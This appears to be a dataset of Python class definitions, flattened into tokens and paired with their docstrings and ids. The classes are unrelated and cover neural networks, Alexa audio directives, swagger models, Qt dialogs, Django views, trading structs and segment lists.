class LeNet(nn.Module): <NEW_LINE> <INDENT> def __init__(self, input_shape, return_indices=False, return_sizes=False): <NEW_LINE> <INDENT> super(LeNet, self).__init__() <NEW_LINE> C, _, _ = input_shape <NEW_LINE> self.return_indices = return_indices <NEW_LINE> self.return_sizes = return_sizes <NEW_LINE> self.block1 = nn.Sequential( nn.Conv2d(C, 6, kernel_size=5, padding=2, bias=False), nn.BatchNorm2d(6), nn.ReLU(inplace=True), ) <NEW_LINE> self.block2 = nn.Sequential( nn.Conv2d(6, 16, kernel_size=5, padding=2, bias=False), nn.BatchNorm2d(16), nn.ReLU(inplace=True), ) <NEW_LINE> self.block3 = nn.Sequential( nn.Conv2d(16, 120, kernel_size=3, padding=1, bias=False), nn.BatchNorm2d(120), nn.ReLU(inplace=True), ) <NEW_LINE> self.pool1 = nn.MaxPool2d( kernel_size=(3, 3), stride=(2, 2), return_indices=True, ceil_mode=True) <NEW_LINE> self.pool2 = nn.MaxPool2d( kernel_size=(3, 3), stride=(2, 2), return_indices=True, ceil_mode=True) <NEW_LINE> self.pool3 = nn.MaxPool2d( kernel_size=(3, 3), stride=(2, 2), return_indices=True, ceil_mode=True) <NEW_LINE> <DEDENT> def forward(self, x): <NEW_LINE> <INDENT> x = self.block1(x) <NEW_LINE> size1 = x.size() <NEW_LINE> x, pool1_idx = self.pool1(x) <NEW_LINE> x = self.block2(x) <NEW_LINE> size2 = x.size() <NEW_LINE> x, pool2_idx = self.pool2(x) <NEW_LINE> x = self.block3(x) <NEW_LINE> size3 = x.size() <NEW_LINE> x, pool3_idx = self.pool3(x) <NEW_LINE> out = [x] <NEW_LINE> if self.return_indices == True: <NEW_LINE> <INDENT> out += [(pool1_idx, pool2_idx, pool3_idx)] <NEW_LINE> <DEDENT> if self.return_sizes == True: <NEW_LINE> <INDENT> out += [(size1, size2, size3)] <NEW_LINE> <DEDENT> return out | Base Lenet(ish) network that compresses information and on which all
variants are built upon. | 62598fda956e5f7376df5943 |
class PlayDirective(BaseAudioDirective): <NEW_LINE> <INDENT> REPLACE_ALL = 'REPLACE_ALL' <NEW_LINE> ENQUEUE = 'ENQUEUE' <NEW_LINE> REPLACE_ENQUEUED = 'REPLACE_ENQUEUED' <NEW_LINE> def __init__(self, play_behavior=ENQUEUE): <NEW_LINE> <INDENT> super(PlayDirective, self).__init__(AudioDirective.PLAY) <NEW_LINE> self._play_behavior = play_behavior <NEW_LINE> self._audio_item = AudioItem() <NEW_LINE> <DEDENT> def replace_all(self): <NEW_LINE> <INDENT> self._play_behavior = self.REPLACE_ALL <NEW_LINE> <DEDENT> def enqueue(self): <NEW_LINE> <INDENT> self._play_behavior = self.ENQUEUE <NEW_LINE> <DEDENT> def replace_enqueued(self): <NEW_LINE> <INDENT> self._play_behavior = self.REPLACE_ENQUEUED <NEW_LINE> <DEDENT> @response_property('playBehavior') <NEW_LINE> def play_behavior(self): <NEW_LINE> <INDENT> return self._play_behavior <NEW_LINE> <DEDENT> @response_property('audioItem') <NEW_LINE> def audio_item(self): <NEW_LINE> <INDENT> return self._audio_item <NEW_LINE> <DEDENT> @audio_item.setter <NEW_LINE> def audio_item(self, audio_item): <NEW_LINE> <INDENT> self._audio_item = audio_item <NEW_LINE> <DEDENT> def _validate(self): <NEW_LINE> <INDENT> prev_token = self.audio_item.stream.expected_pevious_token <NEW_LINE> if self.play_behavior == self.ENQUEUE and prev_token is None: <NEW_LINE> <INDENT> raise InvalidResponseError('Play directives with enqueue behavior ' ' must provide a previous stream token') <NEW_LINE> <DEDENT> elif self.play_behavior != self.ENQUEUE and prev_token is not None: <NEW_LINE> <INDENT> raise InvalidResponseError('Play directive without enqueue behavior ' ' must not provide a previous stream token') | This directive will enqueue an audio stream to play.
There are three play behaviors; Replace all, replace enqueued, and
enqueue. Replace all will stop the current playing audio and clear
the audio queue and play the given audio stream. Replace enqueued
will continue to play the current audio stream, but will replace the
enqueued audio streams with this one. The enqueue behavior will append
this audio stream to the current list of queued audio streams. | 62598fdadc8b845886d53b4a |
class AlertAttachmentMeta(object): <NEW_LINE> <INDENT> swagger_types = { 'name': 'str', 'id': 'str' } <NEW_LINE> attribute_map = { 'name': 'name', 'id': 'id' } <NEW_LINE> def __init__(self, name=None, id=None): <NEW_LINE> <INDENT> self._name = None <NEW_LINE> self._id = None <NEW_LINE> self.discriminator = None <NEW_LINE> if name is not None: <NEW_LINE> <INDENT> self.name = name <NEW_LINE> <DEDENT> if id is not None: <NEW_LINE> <INDENT> self.id = id <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def name(self): <NEW_LINE> <INDENT> return self._name <NEW_LINE> <DEDENT> @name.setter <NEW_LINE> def name(self, name): <NEW_LINE> <INDENT> self._name = name <NEW_LINE> <DEDENT> @property <NEW_LINE> def id(self): <NEW_LINE> <INDENT> return self._id <NEW_LINE> <DEDENT> @id.setter <NEW_LINE> def id(self, id): <NEW_LINE> <INDENT> self._id = id <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> result = {} <NEW_LINE> for attr, _ in six.iteritems(self.swagger_types): <NEW_LINE> <INDENT> value = getattr(self, attr) <NEW_LINE> if isinstance(value, list): <NEW_LINE> <INDENT> result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) <NEW_LINE> <DEDENT> elif hasattr(value, "to_dict"): <NEW_LINE> <INDENT> result[attr] = value.to_dict() <NEW_LINE> <DEDENT> elif isinstance(value, dict): <NEW_LINE> <INDENT> result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result[attr] = value <NEW_LINE> <DEDENT> <DEDENT> return result <NEW_LINE> <DEDENT> def to_str(self): <NEW_LINE> <INDENT> return pprint.pformat(self.to_dict()) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return self.to_str() <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if not isinstance(other, AlertAttachmentMeta): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not self == other | NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually. | 62598fdafbf16365ca79464d |
class CenterDialog() : <NEW_LINE> <INDENT> def center(self): <NEW_LINE> <INDENT> screen = QDesktopWidget().screenGeometry() <NEW_LINE> size = self.geometry() <NEW_LINE> self.move((screen.width()-size.width())/2, (screen.height()-size.height())/2) | Simple class to center a dialog, not to be created directly.
Inherit from it and call self.center() to center a dialog | 62598fda0fa83653e46f5477 |
class eucaconsole(sos.plugintools.PluginBase): <NEW_LINE> <INDENT> def checkenabled(self): <NEW_LINE> <INDENT> if self.isInstalled("eucalyptus-console"): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> return False <NEW_LINE> <DEDENT> def setup(self): <NEW_LINE> <INDENT> self.addCopySpec("/etc/eucalyptus-console") <NEW_LINE> if os.path.exists('/var/log/eucalyptus-console'): <NEW_LINE> <INDENT> self.addCopySpec("/var/log/eucalyptus-console/*") <NEW_LINE> <DEDENT> return | Eucalyptus Cloud - Console
| 62598fda091ae356687051aa |
class ConstType(Const): <NEW_LINE> <INDENT> pass | ---------------------- Format header ids --------------------- */
enum {
BMP_ID = 0x4d42,
TIFF_BIGEND_ID = 0x4d4d, /* MM - for 'motorola' */
TIFF_LITTLEEND_ID = 0x4949 /* II - for 'intel' */
}
| 62598fdaab23a570cc2d5035 |
class CoordinateFunctionCV(FunctionCV): <NEW_LINE> <INDENT> def __init__( self, name, f, cv_requires_lists=False, cv_wrap_numpy_array=False, cv_scalarize_numpy_singletons=False, **kwargs ): <NEW_LINE> <INDENT> super(FunctionCV, self).__init__( name, cv_callable=f, cv_time_reversible=True, cv_requires_lists=cv_requires_lists, cv_wrap_numpy_array=cv_wrap_numpy_array, cv_scalarize_numpy_singletons=cv_scalarize_numpy_singletons, **kwargs ) <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> dct = super(CoordinateFunctionCV, self).to_dict() <NEW_LINE> del dct['cv_time_reversible'] <NEW_LINE> return dct | Turn any function into a `CollectiveVariable`.
Attributes
----------
cv_callable | 62598fdaadb09d7d5dc0ab08 |
class oAuthGenerator(): <NEW_LINE> <INDENT> def Auth(self,a,x,y,z): <NEW_LINE> <INDENT> oAuth="" <NEW_LINE> s = "java -jar "+a+"auth-header-1.3.jar -k "+x+" -s "+y+" -p "+z+" > oAuthKey.txt" <NEW_LINE> print(s) <NEW_LINE> os.system("java -jar "+a+"auth-header-1.3.jar -k "+x+" -s "+y+" -p "+z+" > oAuthKey.txt") <NEW_LINE> with open("oAuthKey.txt","r") as oAuthFile: <NEW_LINE> <INDENT> for line in oAuthFile: <NEW_LINE> <INDENT> cleanedLine = line.strip() <NEW_LINE> if cleanedLine: <NEW_LINE> <INDENT> oAuth = cleanedLine <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> loggingAPI.logger.info("returning oAuth Value") <NEW_LINE> return oAuth | Auth function is used to get the oAuth value. As of now using auth-header-1.3.jar which will be replaced oAuth generator | 62598fdad8ef3951e32c8123 |
class EffettiResultsGridTable(pdcrel.dbglib.DbGridTable): <NEW_LINE> <INDENT> def GetValue(self, row, gridcol): <NEW_LINE> <INDENT> out = None <NEW_LINE> db = self.grid.db <NEW_LINE> if 0 <= row < self.data: <NEW_LINE> <INDENT> col = self.rsColumns[gridcol] <NEW_LINE> if db.GetFieldName(col) == 'anag_tipo': <NEW_LINE> <INDENT> val = self.data[row][col] <NEW_LINE> if val == 'R': <NEW_LINE> <INDENT> out = 'RIBA' <NEW_LINE> <DEDENT> elif val == 'I': <NEW_LINE> <INDENT> out = 'RID' <NEW_LINE> <DEDENT> elif val == 'S': <NEW_LINE> <INDENT> out = 'SDD' <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> out = 'err' <NEW_LINE> <DEDENT> <DEDENT> if out is None: <NEW_LINE> <INDENT> out = pdcrel.dbglib.DbGridTable.GetValue(self, row, gridcol) <NEW_LINE> <DEDENT> <DEDENT> return out | Ritorna il contenuto di ogni cella della griglia per il suo disegno. | 62598fdaad47b63b2c5a7de3 |
class MessageDict(collections.OrderedDict): <NEW_LINE> <INDENT> def __init__(self, message, items=None): <NEW_LINE> <INDENT> assert message is None or isinstance(message, Message) <NEW_LINE> if items is None: <NEW_LINE> <INDENT> super(MessageDict, self).__init__() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> super(MessageDict, self).__init__(items) <NEW_LINE> <DEDENT> self.message = message <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return fmt("{0!j}", self) <NEW_LINE> <DEDENT> def __call__(self, key, validate, optional=False): <NEW_LINE> <INDENT> if not validate: <NEW_LINE> <INDENT> validate = lambda x: x <NEW_LINE> <DEDENT> elif isinstance(validate, type) or isinstance(validate, tuple): <NEW_LINE> <INDENT> validate = json.of_type(validate, optional=optional) <NEW_LINE> <DEDENT> elif not callable(validate): <NEW_LINE> <INDENT> validate = json.default(validate) <NEW_LINE> <DEDENT> value = self.get(key, ()) <NEW_LINE> try: <NEW_LINE> <INDENT> value = validate(value) <NEW_LINE> <DEDENT> except (TypeError, ValueError) as exc: <NEW_LINE> <INDENT> message = Message if self.message is None else self.message <NEW_LINE> raise message.isnt_valid("{0!r} {1}", key, exc) <NEW_LINE> <DEDENT> return value <NEW_LINE> <DEDENT> def _invalid_if_no_key(func): <NEW_LINE> <INDENT> def wrap(self, key, *args, **kwargs): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> return func(self, key, *args, **kwargs) <NEW_LINE> <DEDENT> except KeyError: <NEW_LINE> <INDENT> message = Message if self.message is None else self.message <NEW_LINE> raise message.isnt_valid("missing property {0!r}", key) <NEW_LINE> <DEDENT> <DEDENT> return wrap <NEW_LINE> <DEDENT> __getitem__ = _invalid_if_no_key(collections.OrderedDict.__getitem__) <NEW_LINE> __delitem__ = _invalid_if_no_key(collections.OrderedDict.__delitem__) <NEW_LINE> pop = _invalid_if_no_key(collections.OrderedDict.pop) <NEW_LINE> del _invalid_if_no_key | A specialized dict that is used for JSON message payloads - Request.arguments,
Response.body, and Event.body.
For all members that normally throw KeyError when a requested key is missing, this
dict raises InvalidMessageError instead. Thus, a message handler can skip checks
for missing properties, and just work directly with the payload on the assumption
that it is valid according to the protocol specification; if anything is missing,
it will be reported automatically in the proper manner.
If the value for the requested key is itself a dict, it is returned as is, and not
automatically converted to MessageDict. Thus, to enable convenient chaining - e.g.
d["a"]["b"]["c"] - the dict must consistently use MessageDict instances rather than
vanilla dicts for all its values, recursively. This is guaranteed for the payload
of all freshly received messages (unless and until it is mutated), but there is no
such guarantee for outgoing messages. | 62598fda26238365f5fad0f4 |
class Config(object): <NEW_LINE> <INDENT> def __init__(self, **kwargs): <NEW_LINE> <INDENT> self._config = {} <NEW_LINE> for (key, value) in kwargs.items(): <NEW_LINE> <INDENT> if key not in self.__dict__: <NEW_LINE> <INDENT> self._config[key] = value <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise ConfigException( "Can't store \"{0}\" in configuration because the key conflicts with an existing property." .format(key) ) <NEW_LINE> <DEDENT> <DEDENT> if "path" not in self._config: <NEW_LINE> <INDENT> self._config["path"] = os.getcwd() <NEW_LINE> <DEDENT> if "save_state_path" not in self._config: <NEW_LINE> <INDENT> self._config["save_state_path"] = os.path.join(self._config["path"], "save-states/") <NEW_LINE> <DEDENT> if "rom" not in self._config: <NEW_LINE> <INDENT> self._config["rom_path"] = os.path.join(self._config["path"], "baserom.gbc") <NEW_LINE> <DEDENT> <DEDENT> def __getattr__(self, key): <NEW_LINE> <INDENT> if key in self.__dict__: <NEW_LINE> <INDENT> return self.__dict__[key] <NEW_LINE> <DEDENT> elif key in self._config: <NEW_LINE> <INDENT> return self._config[key] <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise ConfigException( "no config found for \"{0}\"".format(key) ) | The Config class handles all configuration for pokemontools. Other classes
and functions use a Config object to determine where expected files can be
located. | 62598fdaad47b63b2c5a7de4 |
class QryParkedOrderField(Base): <NEW_LINE> <INDENT> _fields_ = [ ('BrokerID', ctypes.c_char * 11), ('InvestorID', ctypes.c_char * 13), ('InstrumentID', ctypes.c_char * 31), ('ExchangeID', ctypes.c_char * 9), ('InvestUnitID', ctypes.c_char * 17), ] <NEW_LINE> def __init__(self, BrokerID='', InvestorID='', InstrumentID='', ExchangeID='', InvestUnitID=''): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.BrokerID = self._to_bytes(BrokerID) <NEW_LINE> self.InvestorID = self._to_bytes(InvestorID) <NEW_LINE> self.InstrumentID = self._to_bytes(InstrumentID) <NEW_LINE> self.ExchangeID = self._to_bytes(ExchangeID) <NEW_LINE> self.InvestUnitID = self._to_bytes(InvestUnitID) | 查询预埋单 | 62598fda50812a4eaa620eab |
class MessageBox(QtWidgets.QDialog): <NEW_LINE> <INDENT> def __init__(self, title: str, message: str, parent: QtWidgets.QWidget = None, *, link_url: str = None, link_title: str = None): <NEW_LINE> <INDENT> super().__init__(parent) <NEW_LINE> self.window().setWindowTitle(title) <NEW_LINE> button_box = QtWidgets.QDialogButtonBox(QtWidgets.QDialogButtonBox.Ok) <NEW_LINE> button_box.accepted.connect(self.accept) <NEW_LINE> external_link = None <NEW_LINE> if link_url is not None: <NEW_LINE> <INDENT> external_link = QtWidgets.QLabel(self) <NEW_LINE> external_link.setOpenExternalLinks(True) <NEW_LINE> if link_title is not None: <NEW_LINE> <INDENT> link_title = "<a href={}>{}</a>".format(link_url, link_title) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> link_title = "<a href={0}>{0}</a>".format(link_url) <NEW_LINE> <DEDENT> external_link.setText(link_title) <NEW_LINE> <DEDENT> layout = QtWidgets.QVBoxLayout() <NEW_LINE> layout.addWidget(QtWidgets.QLabel(message, self)) <NEW_LINE> if external_link is not None: <NEW_LINE> <INDENT> layout.addWidget(external_link) <NEW_LINE> <DEDENT> layout.addWidget(button_box) <NEW_LINE> self.setLayout(layout) <NEW_LINE> self.exec_() | The Message Box is an inheritance from QMessageBox
for a simplistic Message Box whenever a user forgets to do something
and the UI must send an error message
:param title: The title to set for the MessageBox
:param message: The message to display in the MessageBox
:param parent: The parent widget for this MessageBox | 62598fda0fa83653e46f547b |
class Simulation: <NEW_LINE> <INDENT> pass | Responsibilities:
- placing the Roomba
- asking Roomba where it's moving
- updating the room
- iterating over turns
- reporting data (current turn, percent complete)
Collaborators:
- Room
- Roomba | 62598fda26238365f5fad0f6 |
class VerifyForgot(APIView): <NEW_LINE> <INDENT> def get(self, request): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> key_cipher = request.GET["ac"] <NEW_LINE> ab = request.GET["ab"] <NEW_LINE> user_account_info = UserAccountInfo.objects.get(forgot_link="https://smv.sia.co.in/api/account/v1/forgot_password_verify/?ab="+str(ab)+"&ac="+str(key_cipher)) <NEW_LINE> access_token = AccessToken.objects.get(token=key_cipher) <NEW_LINE> if access_token.expires >= datetime.datetime.now(): <NEW_LINE> <INDENT> return HttpResponseRedirect("https://socialmedia.sia.co.in/Resetpassword?ab="+str(ab)+"&ac="+str(key_cipher)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return render(request, 'tweet_account/Expired.html', context={}) <NEW_LINE> <DEDENT> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> traceback.print_exc() <NEW_LINE> return render(request, 'tweet_account/error_page.html', context={}) | To verify the forgot link and check whether to let the user reset the password based on token expiry time | 62598fda8a349b6b436867d3 |
class Time(Tag): <NEW_LINE> <INDENT> def __init__(self, time): <NEW_LINE> <INDENT> super().__init__(time) <NEW_LINE> <DEDENT> def go_back(self): <NEW_LINE> <INDENT> return f"{tagtag}{self.value}" | Time special tag. | 62598fdaab23a570cc2d5037 |
class DataBits: <NEW_LINE> <INDENT> (RW, ADDR, MODE) = (1, 2, 3) | Data bits in a data command. | 62598fda099cdd3c636756a8 |
class UnknownMethodCallError(Error): <NEW_LINE> <INDENT> def __init__(self, unknown_method_name): <NEW_LINE> <INDENT> Error.__init__(self) <NEW_LINE> self._unknown_method_name = unknown_method_name <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return "Method called is not a member of the object: %s" % self._unknown_method_name | Raised if an unknown method is requested of the mock object. | 62598fda091ae356687051b0 |
class ZippedHtmlExportWriter(ZippedExportWriter): <NEW_LINE> <INDENT> writer_class = HtmlFileWriter <NEW_LINE> table_file_extension = ".html" | Write each table to an HTML file in a zipfile | 62598fda956e5f7376df5947 |
class BestLines(Lines): <NEW_LINE> <INDENT> @Query.typecheck <NEW_LINE> def __init__( self, event_ids: Union[List[int], int], market_ids: Union[List[int], int] ): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> event_ids = utils.make_list(event_ids) <NEW_LINE> market_ids = utils.make_list(market_ids) <NEW_LINE> self.name = "bestLines" <NEW_LINE> self.arg_str = self._get_args("lines") <NEW_LINE> self.args = {"eids": event_ids, "mtids": market_ids} <NEW_LINE> self.fields = None <NEW_LINE> self._raw = self._build_and_execute_query( self.name, q_arg_str=self.arg_str, q_args=self.args ) | Get the best lines offered by any sportsbook for a number of events and markets.
For each event, participant and market combination, the best line offered by any of
sportsbooks tracked by SBR is in the response. The date and time that the line was
offered is also recorded. Both American and decimal odds are included.
Sometimes the best line returned is from a sportsbook that is not active on SBR. In
this case you can try searching in the network manager to determine which sportsbook
it came from.
Args:
event_ids: SBR event id or list of event ids.
market_ids: SBR betting market id or list of market ids. | 62598fdac4546d3d9def754d |
class Attribute(models.Model): <NEW_LINE> <INDENT> feature = models.ForeignKey(Feature) <NEW_LINE> field_name = models.CharField(max_length=255) <NEW_LINE> attr_type = models.CharField(max_length=20) <NEW_LINE> width = models.IntegerField(blank=True, null=True) <NEW_LINE> precision = models.IntegerField(blank=True, null=True) <NEW_LINE> field_value = models.CharField(max_length=255, blank=True) <NEW_LINE> def __str__(self): <NEW_LINE> <INDENT> return "{0}: {1}".format(self.field_name, self.field_value) | This model is for holding generic values that appear in the
data files that are uploaded. This data is bound to a feature object
(above), which is collected in a whole DataFile.
This model is where most of the interesting data lives, but is
stored generically, because it could really be anything... | 62598fda656771135c489c06 |
class _ReassociationTraceNumber(X12LoopBridge): <NEW_LINE> <INDENT> trace_type = ElementAccess("TRN", 1, x12type=enum({ "1": "Current Transaction Trace Numbers"})) <NEW_LINE> check_or_eft_trace_number = ElementAccess("TRN", 2) <NEW_LINE> payer_id = ElementAccess("TRN", 3) <NEW_LINE> originating_company_supplemental_code = ElementAccess("TRN", 4) | Uniquely identify this transaction set.
Also aid in reassociating payments and remittances that have been
separated. | 62598fdaad47b63b2c5a7de8 |
class SimilarTemplateMessageMatcher: <NEW_LINE> <INDENT> def __init__(self, template, msg, lexerType=LEXER_TOKENS, whitespace=" \t\n\r"): <NEW_LINE> <INDENT> self.template = template <NEW_LINE> self.msg = msg <NEW_LINE> self.lexerType = lexerType <NEW_LINE> self.ws = whitespace <NEW_LINE> <DEDENT> def match(self): <NEW_LINE> <INDENT> if self.lexerType == LEXER_TOKENS: <NEW_LINE> <INDENT> tokens = scanTokens(self.msg, self.ws) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> tokens = scanNgrams(self.msg) <NEW_LINE> <DEDENT> fields = [] <NEW_LINE> for (tok, msg) in zip(self.template.content, tokens): <NEW_LINE> <INDENT> curVal = msg[1] <NEW_LINE> if tok == "": <NEW_LINE> <INDENT> fields.append(curVal) <NEW_LINE> <DEDENT> <DEDENT> template_str = ''.join([t for t in self.template.content]) <NEW_LINE> d = distance(self.msg, template_str) <NEW_LINE> return fields, d | Return the fields in a template and the distance between this
template an a given input message. | 62598fda0fa83653e46f547f |
class ScoreManager: <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self._scores = list() <NEW_LINE> <DEDENT> @property <NEW_LINE> def scores(self): <NEW_LINE> <INDENT> return [score.to_dict() for score in sorted(self._scores, reverse=True)] <NEW_LINE> <DEDENT> def add_score(self, score): <NEW_LINE> <INDENT> if type(score) is not Score: <NEW_LINE> <INDENT> raise TypeError("Invalid score.") <NEW_LINE> <DEDENT> self._scores.append(score) <NEW_LINE> <DEDENT> def remove_user_score(self, user_name): <NEW_LINE> <INDENT> revised_scores = [] <NEW_LINE> for score in self._scores: <NEW_LINE> <INDENT> if score._name != user_name: <NEW_LINE> <INDENT> revised_scores.append(score) <NEW_LINE> <DEDENT> <DEDENT> self._scores = revised_scores <NEW_LINE> <DEDENT> def remove_all_scores(self): <NEW_LINE> <INDENT> self._scores = [] <NEW_LINE> <DEDENT> def __len__(self): <NEW_LINE> <INDENT> return len(self._scores) <NEW_LINE> <DEDENT> def serialize(self): <NEW_LINE> <INDENT> return self.scores <NEW_LINE> <DEDENT> def from_json(self, json_file): <NEW_LINE> <INDENT> with open(json_file, "r") as fp: <NEW_LINE> <INDENT> data = json.load(fp) <NEW_LINE> for item in data["scores"]: <NEW_LINE> <INDENT> new_score = Score(item["name"], item["score"]) <NEW_LINE> self.add_score(new_score) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def to_json(self, json_file): <NEW_LINE> <INDENT> with open(json_file, "w") as fp: <NEW_LINE> <INDENT> json.dump({"scores": self.serialize()}, fp) | Simple class to manage a collection of scores
Attributes:
scores (list): the list of scores managed by the instance | 62598fdaa219f33f346c6d9d |
class DiagnosticsProfile(Model): <NEW_LINE> <INDENT> _attribute_map = { 'boot_diagnostics': {'key': 'bootDiagnostics', 'type': 'BootDiagnostics'}, } <NEW_LINE> def __init__(self, boot_diagnostics=None): <NEW_LINE> <INDENT> self.boot_diagnostics = boot_diagnostics | Describes a diagnostics profile.
:param boot_diagnostics: Boot Diagnostics is a debugging feature which
allows the user to view console output and/or a screenshot of the virtual
machine from the hypervisor.
:type boot_diagnostics: :class:`BootDiagnostics
<azure.mgmt.compute.compute.v2016_04_30_preview.models.BootDiagnostics>` | 62598fdadc8b845886d53b54 |
class ItemViewSet(viewsets.ModelViewSet): <NEW_LINE> <INDENT> queryset = Item.objects.all().order_by('-creation_date') <NEW_LINE> serializer_class = ItemSerializer | API endpoint that allows accounts to be viewed or edited. | 62598fda656771135c489c08 |
class ElectraPreTrainedModel(PreTrainedModel): <NEW_LINE> <INDENT> config_class = ElectraConfig <NEW_LINE> load_tf_weights = load_tf_weights_in_electra <NEW_LINE> base_model_prefix = "electra" <NEW_LINE> _keys_to_ignore_on_load_missing = [r"position_ids"] <NEW_LINE> _keys_to_ignore_on_load_unexpected = [r"electra\.embeddings_project\.weight", r"electra\.embeddings_project\.bias"] <NEW_LINE> def _init_weights(self, module): <NEW_LINE> <INDENT> if isinstance(module, nn.Linear): <NEW_LINE> <INDENT> module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) <NEW_LINE> if module.bias is not None: <NEW_LINE> <INDENT> module.bias.data.zero_() <NEW_LINE> <DEDENT> <DEDENT> elif isinstance(module, nn.Embedding): <NEW_LINE> <INDENT> module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) <NEW_LINE> if module.padding_idx is not None: <NEW_LINE> <INDENT> module.weight.data[module.padding_idx].zero_() <NEW_LINE> <DEDENT> <DEDENT> elif isinstance(module, nn.LayerNorm): <NEW_LINE> <INDENT> module.bias.data.zero_() <NEW_LINE> module.weight.data.fill_(1.0) | An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models. | 62598fda283ffb24f3cf3e1a |
class DAERecommender(Recommender): <NEW_LINE> <INDENT> def __init__(self, conditions=None, **kwargs): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.verbose = kwargs.get('verbose', True) <NEW_LINE> self.model_params = kwargs <NEW_LINE> self.conditions = conditions <NEW_LINE> self.dae = None <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> desc = "Denoising Autoencoder" <NEW_LINE> if self.conditions: <NEW_LINE> <INDENT> desc += " conditioned on: " + ', '.join(self.conditions.keys()) <NEW_LINE> <DEDENT> desc += '\nDAE Params: ' + str(self.model_params) <NEW_LINE> return desc <NEW_LINE> <DEDENT> def train(self, training_set): <NEW_LINE> <INDENT> X = training_set.tocsr() <NEW_LINE> if self.conditions: <NEW_LINE> <INDENT> condition_data_raw = training_set.get_attributes(self.conditions.keys()) <NEW_LINE> condition_data = self.conditions.fit_transform(condition_data_raw) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> condition_data = None <NEW_LINE> <DEDENT> self.dae = DenoisingAutoEncoder(conditions=self.conditions, **self.model_params) <NEW_LINE> print(self) <NEW_LINE> print(self.dae) <NEW_LINE> print(self.conditions) <NEW_LINE> self.dae.fit(X, condition_data=condition_data) <NEW_LINE> <DEDENT> def predict(self, test_set): <NEW_LINE> <INDENT> X = test_set.tocsr() <NEW_LINE> if self.conditions: <NEW_LINE> <INDENT> condition_data_raw = test_set.get_attributes(self.conditions.keys()) <NEW_LINE> condition_data = self.conditions.transform(condition_data_raw) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> condition_data = None <NEW_LINE> <DEDENT> pred = self.dae.predict(X, condition_data=condition_data) <NEW_LINE> return pred | Denoising Recommender
=====================================
Arguments
---------
n_input: Dimension of input to expect
n_hidden: Dimension for hidden layers
n_code: Code Dimension
Keyword Arguments
-----------------
n_epochs: Number of epochs to train
batch_size: Batch size to use for training
verbose: Print losses during training
normalize_inputs: Whether l1-normalization is performed on the input | 62598fda099cdd3c636756aa |
class UnicodeJSONRendererTests(TestCase): <NEW_LINE> <INDENT> def test_proper_encoding(self): <NEW_LINE> <INDENT> obj = {'countries': ['United Kingdom', 'France', 'España']} <NEW_LINE> renderer = UnicodeJSONRenderer() <NEW_LINE> content = renderer.render(obj, 'application/json') <NEW_LINE> self.assertEqual(content, '{"countries": ["United Kingdom", "France", "España"]}') | Tests specific for the Unicode JSON Renderer | 62598fda50812a4eaa620eae |
class ArchiveMenuItemSelectedChecker( z3c.menu.ready2go.checker.TrueSelectedChecker, grok.MultiAdapter): <NEW_LINE> <INDENT> grok.adapts(zope.interface.Interface, icemac.addressbook.browser.interfaces.IAddressBookLayer, zope.interface.Interface, icemac.addressbook.browser.menus.menu.MainMenu, ArchiveMenuItem) <NEW_LINE> @property <NEW_LINE> def selected(self): <NEW_LINE> <INDENT> if icemac.addressbook.interfaces.IArchive.providedBy(self.context): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> if icemac.addressbook.interfaces.IArchivedPerson.providedBy( self.context): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> return False | Selected checker for the archive menu item in the site menu. | 62598fda9f28863672818b4a |
class SegmentListDict(segmentlistdict): <NEW_LINE> <INDENT> pass | A `dict` of `SegmentLists <SegmentList>`
This class implements a standard mapping interface, with additional
features added to assist with the manipulation of a collection of
`SegmentList` objects. In particular, methods for taking unions and
intersections of the lists in the dictionary are available, as well
as the ability to record and apply numeric offsets to the
boundaries of the `Segments <Segment>` in each list.
The numeric offsets are stored in the "offsets" attribute, which
itself is a dictionary, associating a number with each key in the
main dictionary. Assigning to one of the entries of the offsets
attribute has the effect of shifting the corresponding `SegmentList`
from its original position (not its current position) by the given
amount.
Examples
--------
>>> x = SegmentListDict()
>>> x["H1"] = SegmentList([Segment(0, 10)])
>>> print(x)
{'H1': [Segment(0, 10)]}
>>> x.offsets["H1"] = 6
>>> print(x)
{'H1': [Segment(6.0, 16.0)]}
>>> x.offsets.clear()
>>> print(x)
{'H1': [Segment(0.0, 10.0)]}
